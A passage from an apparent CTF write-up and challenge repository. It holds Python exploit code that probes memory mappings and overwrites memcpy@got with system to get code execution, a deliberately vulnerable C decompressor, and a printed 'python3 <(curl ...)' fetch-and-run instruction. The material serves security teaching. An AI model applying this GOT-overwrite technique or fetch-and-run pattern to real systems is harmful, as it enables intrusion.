1\n```\n\nAt this point, we have `leakAddr` which is a mapped address like this: `0x7fXX00000000`, in [this](#memory-spray-result) case, `leakAddr = 0x7fe300000000`. \n\nNow, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times.\n\nYou can check yourself with [this](resources/analyze-mappings.py) script:\n```\nRANGE\t\t\t\t\tSIZE\n\n0x00007f7544000000 - 0x00007f763c000000\t0xf8000000\nSMALL GAP\t\t\t\t0x00caa000\n0x00007f763ccaa000 - 0x00007f763e358000\t0x016ae000\n```\n\nThat small gap between 0x00007f763c000000 and 0x00007f763ccaa000 screws up the binary search, of course it is still doable, but i found an easier way.\n\n### Observation\n\nWe want to get the last mapped address, because that's where libraries are mapped.\n\nFor example, given those mappings for the libraries:\n```\n7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0\n7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n```\n\nWe can search for the address `7fe3d6a5b000 - 0x1000` with this trick:\n\n| address | isAddressMapped? |\n| - | - |\n0x7fe3f0000000    |    No\n0x7fe3e0000000    |    No\n0x7fe3d0000000    |    Yes\n0x7fe3df000000    |    No\n0x7fe3de000000    |    No\n0x7fe3dd000000    |    No\n0x7fe3dc000000    |    No\n0x7fe3db000000    |    No\n0x7fe3da000000    |    No\n0x7fe3d9000000    |    No\n0x7fe3d8000000    |    No\n0x7fe3d7000000    |    No\n0x7fe3d6000000    |    Yes\n0x7fe3d6f00000    |    No\n0x7fe3d6e00000    |    No\n0x7fe3d6d00000    |    No\n0x7fe3d6c00000    |    No\n0x7fe3d6b00000    |    No\n0x7fe3d6a00000    |    Yes\n0x7fe3d6af0000    |    No\n0x7fe3d6ae0000    |    No\n0x7fe3d6ad0000    |    No\n0x7fe3d6ac0000    |    No\n0x7fe3d6ab0000    |    No\n0x7fe3d6aa0000    |    No\n0x7fe3d6a90000    |    No\n0x7fe3d6a80000    |    No\n0x7fe3d6a70000    |    No\n0x7fe3d6a60000    |    No\n0x7fe3d6a50000    |    Yes\n0x7fe3d6a5f000    |    No\n0x7fe3d6a5e000    |    No\n0x7fe3d6a5d000    |    No\n0x7fe3d6a5c000    |    No\n0x7fe3d6a5b000    |    No\n0x7fe3d6a5a000    |    Yes\n\n`lastMappedPage = 0x7fe3d6a5a000`\n\nWe are bruteforcing half byte at a time, for a worst case scenario of 16*5 = 80 queries.\n\n```py\ndef linearFindLargest(base, increment, idstart):\n    for i in range(0, 16)[::-1]:\n        print (f\"{base + increment*i:#x}\", end='\\t|\\t')\n        if isAddrMapped(base + increment*i, idstart+i):\n            print ('Yes')\n            return i*increment\n        print ('No')\n    raise Exception(\"linearFindLargest should not fail\")\n  \n# Find upper bound, we can't do a binary search because there are some holes which\n# screw things up\nlastMappedPage = leakAddr\nlastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000)\nlastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100)\nlastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200)\nlastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300)\nlastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400)\nprint (f\"{lastMappedPage = :#x}\")\n```\n\n## 4.6 The exploit\n\nFinally, we know everything we need about the memory mappings, now it is just a matter of leveraging a write what where primitive into code execution.\n\nTo achieve code execution I overwrote libkyle.so's memcpy@got entry with system@libc.\n\n### Get libkyle base\nLuckily for us libc base and libkyle.so base are at a constant offset from the lastMappedPage, I didn't know that was the case so I wrote a egghunter which search for `\\x7fELF` \\(Header of ELF executables\\), which in the end wasn't useful.\n```py\n    # Scan backwards looking for b'\\x7fELF'\n    i = 0\n    numElf = 0\n\n    while numElf != 2:\n        theAddr = lastMappedPage-0x1000*i\n        hdr = readFromAddr(theAddr, 4, 40500+i)\n        print(f\"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}\")\n        if hdr == b'\\x7fELF':\n            numElf += 1\n            print (f\"found elf at {theAddr:#x}\")\n\n        if i > 70:\n            print (\"Exploit failed, upper bound address was wrong\")\n            exit(1)\n\n        i += 1\n```\n\n### Overwrite libkyle's memcpy@got and get RCE\n\nFortunately overwriting memcpy@got with system was good enough to get the flag and claim that juicy bounty :)\n\n```py\n    # exp is a CompressedFile which:\n    # - writes libc.system to memcpy_got\n    # - calls memcpy(cmd, 0, 0) -> system(cmd)\n    cmd = b\"ls;cat flag.txt;\\x00\"\n    exp = CompressedFile(24)\n    \n    exp.seek((memcpy_got - OUT_ADDR)&M64)\n    # out=memcpy_got\n    for b in p64(libc.symbols['system']):\n        exp.write(bytes([b]))\n    # out=memcpy_got+8\n    # memcpy(out, out-off, size)\n    # system(out)\n    \n    in_addr_off = len(exp.content)\n    exp.content += cmd\n    exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)\n    exp.memcpy(0, 0) # system(cmd)\n    \n    uploadFile(exp.content, 123001)\n    # profit\n    getFile(123001)\n```\n\n## 4.7 The flag!\n\nYou can find the exploit [here](resources/x.py).\n\n<p align=\"center\"><img src=\"./images/exploit-final.png\"></p><br/>\n\nThere is also an 100% reliable version of the exploit [here](resources/reliable_exploit.py).\n\n## 5. Conclusion\n\nHope you enjoyed the writeup, if something was not clear enough don't hesitate to contact me [@nick0ve](https://twitter.com/nick0ve) :)"
  },
  {
    "path": "resources/analyze_mappings.py",
    "content": "def read_proc_maps(fname):\n    with open(fname, 'r') as f:\n        lines = f.read().splitlines()\n    rv = []\n    for line in lines:\n        r1, r2 = line.split(' ')[0].split('-')\n        rv.append((int(r1,0x10), int(r2,0x10)))\n    return rv\n\ndef can_merge(r1, r2):\n    return r1[1] == r2[0]\n\ndef merge(r1, r2):\n    return (r1[0], r2[1])\n\ndef print_merged(mappings):\n    print (f\"RANGE\\t\\t\\t\\t\\tSIZE\")\n    \n    i = 0\n    while i < len(mappings) - 1:\n        r1, r2 = mappings[i:i+2]\n        if can_merge(r1, r2):\n            mappings = mappings[:i] + [merge(r1, r2)] + mappings[i+2:]\n        else:\n            i += 1\n\n    old_r = None\n    for r in mappings:\n        if old_r is not None:\n            if r[0] - old_r[1] < 0x10000000:    \n                print (f\"SMALL GAP\\t\\t\\t\\t{r[0] - old_r[1]:#010x}\")\n            else:\n                print (f\"HUGE GAP\")\n        print(f\"{r[0]:#018x} - {r[1]:#018x}\\t{r[1] - r[0]:#010x}\")\n        \n        old_r = r\n\nmappings = read_proc_maps('./mappings')\nprint_merged(mappings)"
  },
  {
    "path": "resources/dist-guess-god/.dockerignore",
    "content": "   \n# Prerequisites\n*.d\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n*.obj\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n*.dll\n\n# Fortran module files\n*.mod\n*.smod\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n*.lib\n\n# Executables\n*.exe\n*.out\n*.app\n\n# custom build\nbuild/\nmain/build/\n\n# idea\n.idea/\ncmake-build-debug/\n*/cmake-build-debug/\n\n#Mac\n\n**/.DS_Store\nsrc/CMakeFiles/\nsrc/CMakeCache.txt\n"
  },
  {
    "path": "resources/dist-guess-god/Dockerfile",
    "content": "FROM ubuntu:21.04@sha256:e082dd99faca91acb1f43347bf8b50ac9b9d2fdcc72253e29fe65b6b1eb1445d\n\nENV DEBIAN_FRONTEND=noninteractive\n\n# Install nsjail\nRUN apt-get -y update && apt-get install -y \\\n    autoconf \\\n    bison \\\n    flex \\\n    gcc \\\n    g++ \\\n    git \\\n    libprotobuf-dev \\\n    libnl-route-3-dev \\\n    libtool \\\n    make \\\n    pkg-config \\\n    protobuf-compiler \\\n    uidmap \\\n    cmake \\\n    iptables \\\n    net-tools \\\n    iproute2 \\\n    python3-venv \\\n    && rm -rf /var/lib/apt/lists/*\n\nRUN git clone https://github.com/google/nsjail.git\nRUN cd /nsjail && make && mv /nsjail/nsjail /bin && rm -rf -- /nsjail\n\nRUN apt-get update && \\\napt-get install -y \\\ngcc uidmap netcat cmake && \\\nrm -rf /var/lib/apt/lists/* && \\\nuseradd -m ctf && \\\nmkdir -p /home/ctf/challenge/\n\nRUN mkdir /chroot/ && \\\nchown root:ctf /chroot && \\\nchmod 770 /chroot\n\n# Install oatpp\nRUN git clone https://github.com/oatpp/oatpp.git\nRUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install\n\nCOPY ./ /home/ctf/challenge/src/\n\nWORKDIR /home/ctf/challenge/src/\nRUN mkdir -p src/build && cd src/build && cmake .. && make\nRUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /home/ctf/challenge/\n\n\nWORKDIR /home/ctf/challenge/\n\nRUN mv src/jail.cfg src/server.py src/pow.py src/setup.sh src/nsjail.sh / && \\\nrm -rf src/ && \\\nchown -R root:ctf . && \\\nchmod 550 flag_server-exe && \\\nchown root:ctf / /home /home/ctf/ && \\\nchmod 440 flag.txt\n\n\n# venv for POW\nRUN python3 -m venv /venv\nRUN bash -c \"source /venv/bin/activate && pip3 install ecdsa requests proxy-protocol\"\n\n\nEXPOSE 9000\nCMD [\"/setup.sh\"]\n"
  },
  {
    "path": "resources/dist-guess-god/docker-compose.yml",
    "content": "version: \"3\"\nservices:\n    guess_god:\n        build: .\n        ports:\n            - 9000:9000\n            - 7002-7003:7002-7003\n        privileged: true\n        environment:\n            - \"DEBUG=1\"\n"
  },
  {
    "path": "resources/dist-guess-god/flag.txt",
    "content": "buckeye{this_is_a_fake_flag}\n"
  },
  {
    "path": "resources/dist-guess-god/jail.cfg",
    "content": "name: \"jail\"\n\nmode: ONCE\nport: 1337\ncwd: \"/challenge\"\n\ntime_limit: 300\ncgroup_cpu_ms_per_sec: 100\ncgroup_pids_max: 64\n\nrlimit_fsize: 2048\nrlimit_nofile: 2048\ncgroup_mem_max: 1073741824\n\nmount {\n    src: \"/chroot\"\n    dst: \"/\"\n    is_bind: true\n}\n\nmount {\n    src: \"/home/ctf/challenge\"\n    dst: \"/challenge\"\n    is_bind: true\n}\n\nmount {\n    src: \"/usr\"\n    dst: \"/usr\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/bin\"\n    dst: \"/bin\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/sbin\"\n    dst: \"/sbin\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/lib\"\n    dst: \"/lib\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/lib64\"\n    dst: \"/lib64\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    dst: \"/challenge/files\"\n    fstype: \"tmpfs\"\n    options: \"size=2147483648\"\n    rw: true\n}\n\nmount {\n    src: \"/etc/passwd\"\n    dst: \"/etc/passwd\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/etc/group\"\n    dst: \"/etc/group\"\n    is_bind: true\n    rw: false\n}\n\nmount {\n    src: \"/dev/null\"\n    dst: \"/dev/null\"\n    is_bind: true\n    rw: true\n}\n\nmount_proc: false\nmount {\n\tdst: \"/proc\"\n\tfstype: \"proc\"\n\trw: false\n}\n\nmacvlan_iface: \"veth1\"\nmacvlan_vs_nm: \"255.255.255.0\"\nmacvlan_vs_gw: \"10.0.4.1\"\n\nenvar: \"LD_LIBRARY_PATH=/challenge/\"\nexec_bin {\n    path: \"/challenge/flag_server-exe\"\n}\n\n"
  },
  {
    "path": "resources/dist-guess-god/nsjail.sh",
    "content": "#!/bin/bash\necho \"[*] Starting...\"\nmkdir /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL\nchown ctf /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL\n\niptables -S FORWARD | grep $1 | grep NEW | cut -d \" \" -f 2- | xargs -rL1 iptables -D\niptables -A FORWARD -i eth0 -s $2 -o veth0 -p tcp -d $1 --dport 8000 -m state --state NEW -j ACCEPT\nexec nsjail --config /jail.cfg --macvlan_vs_ip $1\n"
  },
  {
    "path": "resources/dist-guess-god/pow.py",
    "content": "#!/usr/bin/env python3\n\n# This is from kCTF (modified to remove backdoor)\n# https://github.com/google/kctf/blob/69bf578e1275c9223606ab6f0eb1e69c51d0c688/docker-images/challenge/pow.py\n\n# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport base64\nimport os\nimport secrets\nimport socket\nimport sys\nimport hashlib\n\ntry:\n    import gmpy2\n    HAVE_GMP = True\nexcept ImportError:\n    HAVE_GMP = False\n    sys.stderr.write(\"[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\\n\")\n\nVERSION = 's'\nMODULUS = 2**1279-1\nCHALSIZE = 2**128\n\nSOLVER_URL = 'https://goo.gle/kctf-pow'\n\ndef python_sloth_root(x, diff, p):\n    exponent = (p + 1) // 4\n    for i in range(diff):\n        x = pow(x, exponent, p) ^ 1\n    return x\n\ndef python_sloth_square(y, diff, p):\n    for i in range(diff):\n        y = pow(y ^ 1, 2, p)\n    return y\n\ndef gmpy_sloth_root(x, diff, p):\n    exponent = (p + 1) // 4\n    for i in range(diff):\n        x = gmpy2.powmod(x, exponent, p).bit_flip(0)\n    return int(x)\n\ndef gmpy_sloth_square(y, diff, p):\n    y = gmpy2.mpz(y)\n    for i in range(diff):\n        y = gmpy2.powmod(y.bit_flip(0), 2, p)\n    return int(y)\n\ndef sloth_root(x, diff, p):\n    if HAVE_GMP:\n        return gmpy_sloth_root(x, diff, p)\n    else:\n        return python_sloth_root(x, diff, p)\n\ndef sloth_square(x, diff, p):\n    if HAVE_GMP:\n        return gmpy_sloth_square(x, diff, p)\n    else:\n        return python_sloth_square(x, diff, p)\n\ndef encode_number(num):\n    size = (num.bit_length() // 24) * 3 + 3\n    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')\n\ndef decode_number(enc):\n    return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')\n\ndef decode_challenge(enc):\n    dec = enc.split('.')\n    if dec[0] != VERSION:\n        raise Exception('Unknown challenge version')\n    return list(map(decode_number, dec[1:]))\n\ndef encode_challenge(arr):\n    return '.'.join([VERSION] + list(map(encode_number, arr)))\n\ndef get_challenge(diff):\n    x = secrets.randbelow(CHALSIZE)\n    return encode_challenge([diff, x])\n\ndef solve_challenge(chal):\n    [diff, x] = decode_challenge(chal)\n    y = sloth_root(x, diff, MODULUS)\n    return encode_challenge([y])\n\ndef verify_challenge(chal, sol):\n    [diff, x] = decode_challenge(chal)\n    [y] = decode_challenge(sol)\n    res = sloth_square(y, diff, MODULUS)\n    return (x == res) or (MODULUS - x == res)\n\ndef usage():\n    sys.stdout.write('Usage:\\n')\n    sys.stdout.write('Solve pow: {} solve $challenge\\n')\n    sys.stdout.write('Check pow: {} ask $difficulty\\n')\n    sys.stdout.write('  $difficulty examples (for 1.6GHz CPU) in fast mode:\\n')\n    sys.stdout.write('             1337:   1 sec\\n')\n    sys.stdout.write('             31337:  30 secs\\n')\n    sys.stdout.write('             313373: 5 mins\\n')\n    sys.stdout.flush()\n    sys.exit(1)\n\ndef main():\n    if len(sys.argv) != 3:\n        usage()\n        sys.exit(1)\n\n    cmd = sys.argv[1]\n\n    if cmd == 'ask':\n        difficulty = int(sys.argv[2])\n\n        if difficulty == 0:\n            sys.stdout.write(\"== proof-of-work: disabled ==\\n\")\n            sys.exit(0)\n\n\n        challenge = get_challenge(difficulty)\n\n        sys.stdout.write(\"== proof-of-work: enabled ==\\n\")\n        sys.stdout.write(\"please solve a pow first\\n\")\n        sys.stdout.write(\"You can run the solver with:\\n\")\n        sys.stdout.write(\"    python3 <(curl -sSL {}) solve {}\\n\".format(SOLVER_URL, challenge))\n        sys.stdout.write(\"===================\\n\")\n        sys.stdout.write(\"\\n\")\n        sys.stdout.write(\"Solution? \")\n        sys.stdout.flush()\n        solution = ''\n        with os.fdopen(0, \"rb\", 0) as f:\n            while not solution:\n                line = f.readline().decode(\"utf-8\")\n                if not line:\n                    sys.stdout.write(\"EOF\")\n                    sys.stdout.flush()\n                    sys.exit(1)\n                solution = line.strip()\n\n        if verify_challenge(challenge, solution):\n            sys.stdout.write(\"Correct\\n\")\n            sys.stdout.flush()\n            sys.exit(0)\n        else:\n            sys.stdout.write(\"Proof-of-work fail\")\n            sys.stdout.flush()\n\n    elif cmd == 'solve':\n        challenge = sys.argv[2]\n        solution = solve_challenge(challenge)\n\n        if verify_challenge(challenge, solution, False):\n            sys.stderr.write(\"Solution: \\n\".format(solution))\n            sys.stderr.flush()\n            sys.stdout.write(solution)\n            sys.stdout.flush()\n            sys.stderr.write(\"\\n\")\n            sys.stderr.flush()\n            sys.exit(0)\n    else:\n        usage()\n\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n\n"
  },
  {
    "path": "resources/dist-guess-god/server.py",
    "content": "import hashlib\nimport random\nimport string\nimport socket\nfrom socketserver import ThreadingTCPServer, StreamRequestHandler\nfrom multiprocessing import TimeoutError\nfrom multiprocessing.pool import ThreadPool\nimport threading\nimport subprocess\nimport os\nimport base64\nfrom pathlib import Path\nimport shutil\nimport requests\nfrom proxyprotocol.v2 import ProxyProtocolV2\nfrom proxyprotocol.reader import ProxyProtocolReader\nfrom proxyprotocol import ProxyProtocolWantRead\nfrom pow import get_challenge, verify_challenge, SOLVER_URL\n\nPORT_BASE = int(os.getenv(\"CHALL_PORT_BASE\", \"7000\"))\nIP_BASE = \"10.0.4.\"\nPOW_DIFFICULTY = int(os.getenv(\"POW_DIFFICULTY\", \"0\"))\nNUM_SERVERS = int(os.getenv(\"CHALL_NUM_SERVERS\", \"5\"))\nDEBUG = int(os.getenv(\"DEBUG\", \"0\")) == 1\nMY_IP = None\n\nclass MyTCPServer(ThreadingTCPServer):\n    def server_bind(self):\n        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n        self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10)\n        self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)\n        self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)\n        self.socket.bind(self.server_address)\n\n\npool = None\n\n\nclass MyTCPHandler(StreamRequestHandler):\n    def handle(self):\n        try:\n            if not DEBUG:\n                self.pp_result = read_proxy2(self)\n                if not self.pp_result or not send_pow(self):\n                    return\n            else:\n                if not send_pow(self):\n                    return\n\n            res = pool.apply_async(worker, (self,))\n            pos = pool._inqueue.qsize()  # type: ignore\n            self.wfile.write(f\"[*] Queued in position {pos}\\n\".encode())\n            res.get(timeout=180)\n\n        except (ConnectionError, TimeoutError) as e:\n            print(\"connection err: %s\" % (e))\n            pass\n\ndef read_proxy2(req: MyTCPHandler):\n    pp_reader = ProxyProtocolReader(ProxyProtocolV2())\n    pp_data = bytearray()\n    while True:\n        try:\n            return pp_reader._parse(pp_data)\n        except ProxyProtocolWantRead as want_read:\n            try:\n                if want_read.want_bytes is not None:\n                    pp_data += req.rfile.read(want_read.want_bytes)\n                elif want_read.want_line:\n                    pp_data += req.rfile.readline()\n                else:\n                    print(\"ProxyProtocolWantRead of unknown length\")\n                    return None\n            except (EOFError, ConnectionResetError) as exc:\n                print(\"EOF waiting for proxy data\")\n                return None\n\n\ndef send_pow(req: MyTCPHandler):\n    if POW_DIFFICULTY == 0:\n        req.wfile.write(b\"== proof-of-work: disabled ==\\n\")\n        req.wfile.flush()\n        return True\n\n    challenge = get_challenge(POW_DIFFICULTY)\n\n    req.wfile.write(b\"== proof-of-work: enabled ==\\n\")\n    req.wfile.write(b\"please solve a pow first\\n\")\n    req.wfile.write(b\"You can run the solver with:\\n\")\n    req.wfile.write(\"    python3 <(curl -sSL {}) solve {}\\n\".format(SOLVER_URL, challenge).encode())\n    req.wfile.write(b\"===================\\n\")\n    req.wfile.write(b\"\\n\")\n    req.wfile.write(b\"Solution? \")\n    req.wfile.flush()\n    solution = ''\n    while not solution:\n        solution = req.rfile.readline().decode(\"utf-8\").strip()\n\n    if verify_challenge(challenge, solution):\n        req.wfile.write(b\"Correct\\n\")\n        req.wfile.flush()\n        return True\n    else:\n        req.wfile.write(b\"Proof-of-work fail\")\n        req.wfile.flush()\n        return False\n\nthread_to_port = {}\nthread_port_lock = threading.Lock()\n\ndef get_port(ident):\n    global thread_to_port\n    thread_port_lock.acquire()\n\n    if ident in thread_to_port:\n        port = thread_to_port[ident]\n    else:\n        port = len(thread_to_port) + PORT_BASE + 2 # leave .0 and .1 unused\n        thread_to_port[ident] = port\n\n    thread_port_lock.release()\n    return port\n\ndef is_socket_closed(sock) -> bool:\n    try:\n        # this will try to read bytes without blocking and also without removing them from buffer (peek only)\n        data = sock.recv(16, socket.MSG_DONTWAIT | socket.MSG_PEEK)\n        if len(data) == 0:\n            return True\n        return False\n    except BlockingIOError:\n        return False  # socket is open and reading from it would block\n    except ConnectionResetError:\n        return True  # socket was closed for some other reason\n    except Exception as e:\n        logger.exception(\"unexpected exception when checking if a socket is closed\")\n        return False\n    return False\n\ndef worker(req: MyTCPHandler):\n\n    ip = req.client_address[0]\n    src_port = req.client_address[1]\n\n    if not DEBUG:\n        real_ip = req.pp_result.source[0].exploded\n    else:\n        real_ip = ip\n    print(f\"Worker {threading.get_ident()} handling real ip {real_ip}\")\n    req.wfile.write(b\"[+] Handling your job now\\n\")\n\n    id = os.urandom(16).hex()\n    path = Path(\"/tmp\") / id\n    if not path.exists():\n        path.mkdir()\n\n    port = get_port(threading.get_ident())\n\n    req.wfile.write(f\"\\n[*] ip = {MY_IP}\\n\".encode())\n    req.wfile.write(f\"[*] port = {port}\\n\\n\".encode())\n\n    timeout = 60 * 5\n    req.wfile.write(f\"[*] This instance will stay up for {timeout} seconds\\n\".encode())\n    req.wfile.flush()\n\n    proc = subprocess.Popen([\"/nsjail.sh\", IP_BASE+str(port - PORT_BASE), real_ip], stdout=req.wfile)\n    for x in range(timeout // 5):\n        try:\n            proc.wait(5)\n            break\n        except subprocess.TimeoutExpired:\n            if is_socket_closed(req.request):\n                break\n\n    proc.terminate()\n    try:\n        proc.wait(1)\n    except subprocess.TimeoutExpired:\n        proc.kill()\n\n    req.wfile.write(b\"[*] Done. Goodbye!\\n\")\n    req.wfile.flush()\n\nif __name__ == \"__main__\":\n    port = 9000\n    MY_IP = requests.get(\"https://api.ipify.org?format=json\").json()['ip']\n    with MyTCPServer((\"0.0.0.0\", port), MyTCPHandler) as server:\n        try:\n            pool = ThreadPool(processes=NUM_SERVERS)\n            print(f\"[*] Listening on port {port}\")\n            server.serve_forever()\n        finally:\n            pool.close()\n"
  },
  {
    "path": "resources/dist-guess-god/setup.sh",
    "content": "#!/bin/bash\nip link add veth0 type veth peer veth1\nip addr add 10.0.4.1/24 dev veth0\nip link set up veth0\nip link set up veth1\necho 1 > /proc/sys/net/ipv4/ip_forward\n\nNUM_SERVERS=\"${CHALL_NUM_SERVERS:-5}\"\nPORT_BASE=\"${CHALL_PORT_BASE:-7000}\"\nfor i in $(seq 1 $NUM_SERVERS); do\n  NUM=$((i + 1))\n  PORT=$((NUM + PORT_BASE))\n  iptables -A FORWARD -i eth0 -o veth0 -p tcp -d 10.0.4.$NUM --dport 8000 -m state --state ESTABLISHED,RELATED -j ACCEPT\n  iptables -A PREROUTING -t nat -p tcp -i eth0 --dport $PORT -j DNAT --to-destination 10.0.4.$NUM:8000\n  iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE\n\ndone\nsource /venv/bin/activate\npython3 /server.py\n"
  },
  {
    "path": "resources/dist-guess-god/src/.gitignore",
    "content": "   \n# Prerequisites\n*.d\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n*.obj\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n*.dll\n\n# Fortran module files\n*.mod\n*.smod\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n*.lib\n\n# Executables\n*.exe\n*.out\n*.app\n\n# custom build\nbuild/\nmain/build/\n\n# idea\n.idea/\ncmake-build-debug/\n*/cmake-build-debug/\n\n#Mac\n\n**/.DS_Store\nCMakeFiles/\nCMakeCache.txt\n"
  },
  {
    "path": "resources/dist-guess-god/src/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.1)\n\nset(project_name flag_server) ## rename your project here\nproject(${project_name})\n\nset(CMAKE_CXX_STANDARD 11)\n\nadd_library(${project_name}-lib\n        src/AppComponent.hpp\n        src/controller/MyController.cpp\n        src/controller/MyController.hpp\n        src/dto/DTOs.hpp\n)\n\n# Decompression library\nadd_library(kylezip SHARED\n        kylezip/decompress.c\n)\n\nset_target_properties(kylezip PROPERTIES LANGUAGE C)\n\n## link libs\n\nfind_package(oatpp 1.2.5 REQUIRED)\n\ntarget_link_libraries(${project_name}-lib\n        PUBLIC oatpp::oatpp\n        PUBLIC oatpp::oatpp-test\n        kylezip\n)\n\ntarget_include_directories(${project_name}-lib PUBLIC src kylezip)\n\n## add executables\n\nadd_executable(${project_name}-exe\n        src/App.cpp\n        test/app/MyApiTestClient.hpp)\ntarget_link_libraries(${project_name}-exe ${project_name}-lib kylezip)\n\nadd_dependencies(${project_name}-exe ${project_name}-lib kylezip)\n\nset_target_properties(${project_name}-lib ${project_name}-exe PROPERTIES\n        CXX_STANDARD 11\n        CXX_EXTENSIONS OFF\n        CXX_STANDARD_REQUIRED ON\n)\n\n## add test executable\n\n\nadd_executable(kylezip-test\n        kylezip/test/kyle.c\n        )\ntarget_link_libraries(kylezip-test kylezip)\n"
  },
  {
    "path": "resources/dist-guess-god/src/kylezip/README",
    "content": "kylezip is a horrible compression algorithm\n\n"
  },
  {
    "path": "resources/dist-guess-god/src/kylezip/decompress.c",
    "content": "#include <sys/mman.h>\n#include <fcntl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdint.h>\n\nstatic int verify_file(char *in);\nstatic uint64_t get_fsize(char *in);\nstatic void do_decompress(char *out, char *in, size_t insize);\n\n/* I got tired of C++ so I wrote this in C */\nint decompress(const char *fname) {\n  char resultName[100];\n\n  strcpy(resultName, fname);\n  strcat(resultName, \".unkyle\");\n  \n  int infd = open(fname, O_RDONLY);\n  int outfd = open(resultName, O_RDWR|O_CREAT, 0644);\n  \n  struct stat insb;\n  \n  if (infd == -1 || outfd == -1) {\n    fprintf(stderr, \"Failed to open infile or outfile\\n\");\n    return -1;\n  }\n\n  if (fstat(infd, &insb) != 0) {\n    fprintf(stderr, \"Failed to stat infile\\n\");\n    return -1;          \n  }\n    \n  /* kyle wanted this mapped at his favorite address */ \n  void *from_mem = mmap((void*)0x42069000000, insb.st_size, PROT_READ, MAP_SHARED|MAP_FIXED, infd, 0);\n  if (from_mem == MAP_FAILED || !verify_file(from_mem)) {\n    fprintf(stderr, \"mmap failed or didn't verify %p\\n\", from_mem);\n    return -1;\n  }\n\n  size_t outsize = get_fsize(from_mem);\n  ftruncate(outfd, outsize);\n  void *to_mem = mmap((void*)0x13371337000, outsize, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, outfd, 0);\n\n  if (to_mem == MAP_FAILED) {\n    fprintf(stderr, \"mmap failed 2\\n\");\n    return -1;\n  }\n\n  do_decompress(to_mem, from_mem, insb.st_size);\n  \n  return 0;\n}\n\nstatic int verify_file(char *in) {\n    if (*(uint64_t*)in == 0x0123456789abcdef) return 1;\n    return 0;\n}\n\nstatic uint64_t get_fsize(char *in) {\n   return (*(uint64_t*)(in + 8));\n}\n\nstatic void do_decompress(char *out, char *in, size_t insize) {\n    uint64_t cur = 16;\n    while (cur < insize) {\n        uint8_t cmd = in[cur];\n        cur += 1;\n\n        switch (cmd) {\n            case 0:\n                // NOP\n                break;\n            case 1: {\n                // Write byte\n                uint8_t b = in[cur++];\n                *(out++) = b;\n                break;\n            }\n            case 2: {\n                // Seek\n                uint64_t off = *(uint64_t*)(&in[cur]);\n                cur += sizeof(off);\n                out += off;\n                break;\n            }\n            case 3: {\n                // Copy some previously written bytes\n                uint64_t off = 